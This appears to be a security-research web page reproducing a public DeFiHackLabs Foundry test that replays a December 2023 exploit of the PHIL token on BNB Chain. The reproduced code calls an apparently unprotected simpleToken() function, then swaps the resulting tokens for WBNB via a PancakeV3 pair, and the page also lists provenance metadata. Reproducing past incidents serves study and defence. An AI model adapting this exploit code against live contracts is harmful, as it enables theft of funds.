Public reproduction file
src/test/2023-12/PHIL_exp.sol
Public reproduction file for dataset entry PHIL.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4// @KeyInfo - Total Lost : ~2 $BNB5// Attacker : https://bscscan.com/address/0x835b45d38cbdccf99e609436ff38e31ac05bc5026// Vulnerable Contract : https://bscscan.com/address/0x4308d314096878d3bf16c9d8db86101f70bbebf17// Attack Tx : https://bscscan.com/tx/0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a9import "forge-std/Test.sol";10import "./../interface.sol";12interface IPHIL is IERC20 {13 function simpleToken() external;14}16contract ContractTest is Test {17 IPHIL PHIL = IPHIL(0x4308D314096878D3bf16C9d8DB86101F70BBebF1);18 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);19 Uni_Pair_V3 PHILTOWBNB = Uni_Pair_V3(0xb8b408A6BD3E43FCDE7D7AbC381ef10bcCcd5349);21 function setUp() public {22 vm.createSelectFork("bsc", 34_345_320 - 1);23 vm.label(address(WBNB), "WBNB");24 vm.label(address(PHIL), "PHIL");25 }27 function testExploit() public {28 emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);29 PHIL.simpleToken();30 TOKENToWETH();31 emit log_named_decimal_uint("Attacker WBNB balance after attack", WBNB.balanceOf(address(this)), 18);32 }34 function TOKENToWETH() internal {35 bool zeroForOne = true;36 uint160 sqrtPriceLimitX96 = 4_295_128_740;37 bytes memory data = abi.encodePacked(uint8(0x61));38 int256 amountSpecified = 21_000 * 1e18;39 PHILTOWBNB.swap(address(this), zeroForOne, amountSpecified, sqrtPriceLimitX96, data);40 }42 function pancakeV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata data) external {43 if (amount0Delta > 0) {44 IERC20(Uni_Pair_V3(msg.sender).token0()).transfer(msg.sender, uint256(amount0Delta));45 } else if (amount1Delta > 0) {46 IERC20(Uni_Pair_V3(msg.sender).token1()).transfer(msg.sender, uint256(amount1Delta));47 }48 }50 fallback() external payable {}51 receive() external payable {}52}Analysis
Dataset entry
Public Foundry test for “PHIL” (2023-12-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
22 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-12/BCT_exp.solSame month in the dataset · 239 lines
- src/test/2023-12/BEARNDAO_exp.solSame month in the dataset · 102 lines
- src/test/2023-12/Bob_exp.solSame month in the dataset · 113 lines
- src/test/2023-12/bZx_exp.solSame month in the dataset · 196 lines
- src/test/2023-12/CCV_exp.solSame month in the dataset · 78 lines
- src/test/2023-12/Channels_exp.solSame month in the dataset · 162 lines
- src/test/2023-12/ChannelsFinance_exp.solSame month in the dataset · 212 lines
- src/test/2023-12/DominoTT_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/ElephantStatus_exp.solSame month in the dataset · 111 lines
- src/test/2023-12/FloorProtocol_exp.solSame month in the dataset · 76 lines
- src/test/2023-12/GoodCompound_exp.solSame month in the dataset · 181 lines
- src/test/2023-12/GoodDollar_exp.solSame month in the dataset · 175 lines
- src/test/2023-12/HNet_exp.solSame month in the dataset · 123 lines
- src/test/2023-12/HYPR_exp.solSame month in the dataset · 65 lines
- src/test/2023-12/KEST_exp.solSame month in the dataset · 127 lines
- src/test/2023-12/MAMO_exp.solSame month in the dataset · 75 lines
- src/test/2023-12/NFTTrader_exp.solSame month in the dataset · 195 lines
- src/test/2023-12/PineProtocol_exp.solSame month in the dataset · 118 lines
- src/test/2023-12/Telcoin_exp.solSame month in the dataset · 82 lines
- src/test/2023-12/TIME_exp.solSame month in the dataset · 112 lines
- src/test/2023-12/TransitFinance_exp.solSame month in the dataset · 117 lines
- src/test/2023-12/UnverifiedContr_0x431abb_exp.solSame month in the dataset · 151 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x835b45d38cbdccf99e609436ff38e31ac05bc502
- Vulnerable Contract
0x4308d314096878d3bf16c9d8db86101f70bbebf1
- Attack Tx
0x20ecd8310a2cc7f7774aa5a045c8a99ad84a8451d6650f24e0911e9f4355b13a
File record
- Name
- PHIL
- Path
- src/test/2023-12/PHIL_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4f7f3f5c50598410318f2261ea90847fe76c846b
- Language
- Solidity
- Size
- 53 lines
- Date
- 2023-12-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-12/PHIL_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4f7f3f5c50598410318f2261ea90847fe76c846b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.